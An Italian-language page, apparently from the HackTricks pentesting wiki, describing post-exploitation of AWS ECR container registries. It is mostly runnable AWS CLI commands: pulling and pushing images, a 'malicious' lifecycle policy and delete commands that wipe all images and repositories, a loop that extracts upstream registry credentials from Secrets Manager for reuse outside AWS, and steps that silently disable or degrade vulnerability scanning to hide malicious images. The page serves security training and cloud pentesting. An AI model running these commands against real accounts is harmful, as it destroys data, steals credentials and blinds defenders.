# AWS - ECR Post Exploitation {{#include ../../../../banners/hacktricks-training.md}} ## ECR Per maggiori informazioni consulta {{#ref}} ../../aws-services/aws-ecr-enum.md {{#endref}} ### Login, Pull & Push ```bash # Docker login into ecr ## For public repo (always use us-east-1) aws ecr-public get-login-password --region us-east-1 | docker login --username AWS --password-stdin public.ecr.aws/ ## For private repo aws ecr get-login-password --profile --region | docker login --username AWS --password-stdin .dkr.ecr..amazonaws.com ## If you need to acces an image from a repo if a different account, in set the account number of the other account # Download docker pull .dkr.ecr..amazonaws.com/:latest ## If you still have the error "Requested image not found" ## It might be because the tag "latest" doesn't exit ## Get valid tags with: TOKEN=$(aws --profile ecr get-authorization-token --output text --query 'authorizationData[].authorizationToken') curl -i -H "Authorization: Basic $TOKEN" https://.dkr.ecr..amazonaws.com/v2//tags/list # Inspect the image docker inspect sha256:079aee8a89950717cdccd15b8f17c80e9bc4421a855fcdc120e1c534e4c102e0 docker inspect .dkr.ecr..amazonaws.com/: # Inspect the image indicating the URL # Upload (example uploading purplepanda with tag latest) docker tag purplepanda:latest .dkr.ecr..amazonaws.com/purplepanda:latest docker push .dkr.ecr..amazonaws.com/purplepanda:latest # Downloading without Docker # List digests aws ecr batch-get-image --repository-name level2 \ --registry-id 653711331788 \ --image-ids imageTag=latest | jq '.images[].imageManifest | fromjson' ## Download a digest aws ecr get-download-url-for-layer \ --repository-name level2 \ --registry-id 653711331788 \ --layer-digest "sha256:edfaad38ac10904ee76c81e343abf88f22e6cfc7413ab5a8e4aeffc6a7d9087a" ``` Dopo aver scaricato le immagini dovresti **controllarle per informazioni sensibili**: {{#ref}} https://book.hacktricks.wiki/en/generic-methodologies-and-resources/basic-forensic-methodology/docker-forensics.html {{#endref}} ### `ecr:PutLifecyclePolicy` | `ecr:DeleteRepository` | `ecr-public:DeleteRepository` | `ecr:BatchDeleteImage` | `ecr-public:BatchDeleteImage` Un attaccante con una qualsiasi di queste autorizzazioni può **creare o modificare una policy del ciclo di vita per eliminare tutte le immagini nel repository** e poi **eliminare l'intero repository ECR**. Ciò comporterebbe la perdita di tutte le immagini dei container memorizzate nel repository. ```bash # Create a JSON file with the malicious lifecycle policy echo '{ "rules": [ { "rulePriority": 1, "description": "Delete all images", "selection": { "tagStatus": "any", "countType": "imageCountMoreThan", "countNumber": 0 }, "action": { "type": "expire" } } ] }' > malicious_policy.json # Apply the malicious lifecycle policy to the ECR repository aws ecr put-lifecycle-policy --repository-name your-ecr-repo-name --lifecycle-policy-text file://malicious_policy.json # Delete the ECR repository aws ecr delete-repository --repository-name your-ecr-repo-name --force # Delete the ECR public repository aws ecr-public delete-repository --repository-name your-ecr-repo-name --force # Delete multiple images from the ECR repository aws ecr batch-delete-image --repository-name your-ecr-repo-name --image-ids imageTag=latest imageTag=v1.0.0 # Delete multiple images from the ECR public repository aws ecr-public batch-delete-image --repository-name your-ecr-repo-name --image-ids imageTag=latest imageTag=v1.0.0 ``` ### Exfiltrate upstream registry credentials from ECR Pull‑Through Cache (PTC) Se ECR Pull‑Through Cache è configurato per registri upstream autenticati (Docker Hub, GHCR, ACR, ecc.), le credenziali upstream vengono memorizzate in AWS Secrets Manager con un prefisso di nome prevedibile: `ecr-pullthroughcache/`. Gli operatori a volte concedono agli amministratori ECR un ampio accesso in lettura a Secrets Manager, abilitando credential exfiltration e il riutilizzo delle credenziali al di fuori di AWS. Requisiti - secretsmanager:ListSecrets - secretsmanager:GetSecretValue Enumerate candidate PTC secrets ```bash aws secretsmanager list-secrets \ --query "SecretList[?starts_with(Name, 'ecr-pullthroughcache/')].Name" \ --output text ``` Scarica i secrets scoperti e analizza i campi comuni ```bash for s in $(aws secretsmanager list-secrets \ --query "SecretList[?starts_with(Name, 'ecr-pullthroughcache/')].ARN" --output text); do aws secretsmanager get-secret-value --secret-id "$s" \ --query SecretString --output text | tee /tmp/ptc_secret.json jq -r '.username? // .user? // empty' /tmp/ptc_secret.json || true jq -r '.password? // .token? // empty' /tmp/ptc_secret.json || true done ``` Opzionale: verificare leaked creds contro l'upstream (accesso in sola lettura) ```bash echo "$DOCKERHUB_PASSWORD" | docker login --username "$DOCKERHUB_USERNAME" --password-stdin registry-1.docker.io ``` Impatto - La lettura di queste voci di Secrets Manager fornisce credenziali riutilizzabili del registro upstream (username/password or token), che possono essere sfruttate al di fuori di AWS per pullare immagini private o accedere a repository aggiuntivi a seconda dei permessi upstream. ### Stealth a livello di registry: disabilitare o degradare la scansione via `ecr:PutRegistryScanningConfiguration` Un attaccante con permessi ECR a livello di registry può ridurre o disabilitare silenziosamente la scansione automatica delle vulnerabilità per TUTTI i repository impostando la configurazione di scanning del registry su BASIC senza regole di scan-on-push. Questo impedisce che le nuove push di immagini vengano scansionate automaticamente, nascondendo immagini vulnerabili o dannose. Requisiti - ecr:PutRegistryScanningConfiguration - ecr:GetRegistryScanningConfiguration - ecr:PutImageScanningConfiguration (opzionale, per-repo) - ecr:DescribeImages, ecr:DescribeImageScanFindings (verifica) Degradazione a livello di registry a manuale (nessuna scansione automatica) ```bash REGION=us-east-1 # Read current config (save to restore later) aws ecr get-registry-scanning-configuration --region "$REGION" # Set BASIC scanning with no rules (results in MANUAL scanning only) aws ecr put-registry-scanning-configuration \ --region "$REGION" \ --scan-type BASIC \ --rules '[]' ``` Test con un repository e un'immagine ```bash acct=$(aws sts get-caller-identity --query Account --output text) repo=ht-scan-stealth aws ecr create-repository --region "$REGION" --repository-name "$repo" >/dev/null 2>&1 || true aws ecr get-login-password --region "$REGION" | docker login --username AWS --password-stdin ${acct}.dkr.ecr.${REGION}.amazonaws.com printf 'FROM alpine:3.19\nRUN echo STEALTH > /etc/marker\n' > Dockerfile docker build -t ${acct}.dkr.ecr.${REGION}.amazonaws.com/${repo}:test . docker push ${acct}.dkr.ecr.${REGION}.amazonaws.com/${repo}:test # Verify no scan ran automatically aws ecr describe-images --region "$REGION" --repository-name "$repo" --image-ids imageTag=test --query 'imageDetails[0].imageScanStatus' # Optional: will error with ScanNotFoundException if no scan exists aws ecr describe-image-scan-findings --region "$REGION" --repository-name "$repo" --image-id imageTag=test || true ``` Opzionale: degradare ulteriormente a livello del repository ```bash # Disable scan-on-push for a specific repository aws ecr put-image-scanning-configuration \ --region "$REGION" \ --repository-name "$repo" \ --image-scanning-configuration scanOnPush=false ``` Impatto - Nuove push di immagini nel registry non vengono scansionate automaticamente, riducendo la visibilità di contenuti vulnerabili o malevoli e ritardando la rilevazione fino a quando non viene avviata una scansione manuale. ### Downgrade del motore di scansione a livello di registry via `ecr:PutAccountSetting` (AWS_NATIVE -> CLAIR) Riduci la qualità del rilevamento delle vulnerabilità in tutto il registry cambiando il motore di scansione BASIC dal default AWS_NATIVE al motore legacy CLAIR. Questo non disabilita le scansioni ma può modificare in modo significativo i risultati/copertura. Combinalo con una configurazione di scansione registry BASIC senza regole per rendere le scansioni eseguibili solo manualmente. Requisiti - `ecr:PutAccountSetting`, `ecr:GetAccountSetting` - (Opzionale) `ecr:PutRegistryScanningConfiguration`, `ecr:GetRegistryScanningConfiguration` Impatto - Impostazione del registry `BASIC_SCAN_TYPE_VERSION` impostata su `CLAIR` in modo che le successive scansioni BASIC vengano eseguite con il motore degradato. CloudTrail registra la chiamata API `PutAccountSetting`. Passaggi ```bash REGION=us-east-1 # 1) Read current value so you can restore it later aws ecr get-account-setting --region $REGION --name BASIC_SCAN_TYPE_VERSION || true # 2) Downgrade BASIC scan engine registry‑wide to CLAIR aws ecr put-account-setting --region $REGION --name BASIC_SCAN_TYPE_VERSION --value CLAIR # 3) Verify the setting aws ecr get-account-setting --region $REGION --name BASIC_SCAN_TYPE_VERSION # 4) (Optional stealth) switch registry scanning to BASIC with no rules (manual‑only scans) aws ecr put-registry-scanning-configuration --region $REGION --scan-type BASIC --rules '[]' || true # 5) Restore to AWS_NATIVE when finished to avoid side effects aws ecr put-account-setting --region $REGION --name BASIC_SCAN_TYPE_VERSION --value AWS_NATIVE ``` {{#include ../../../../banners/hacktricks-training.md}}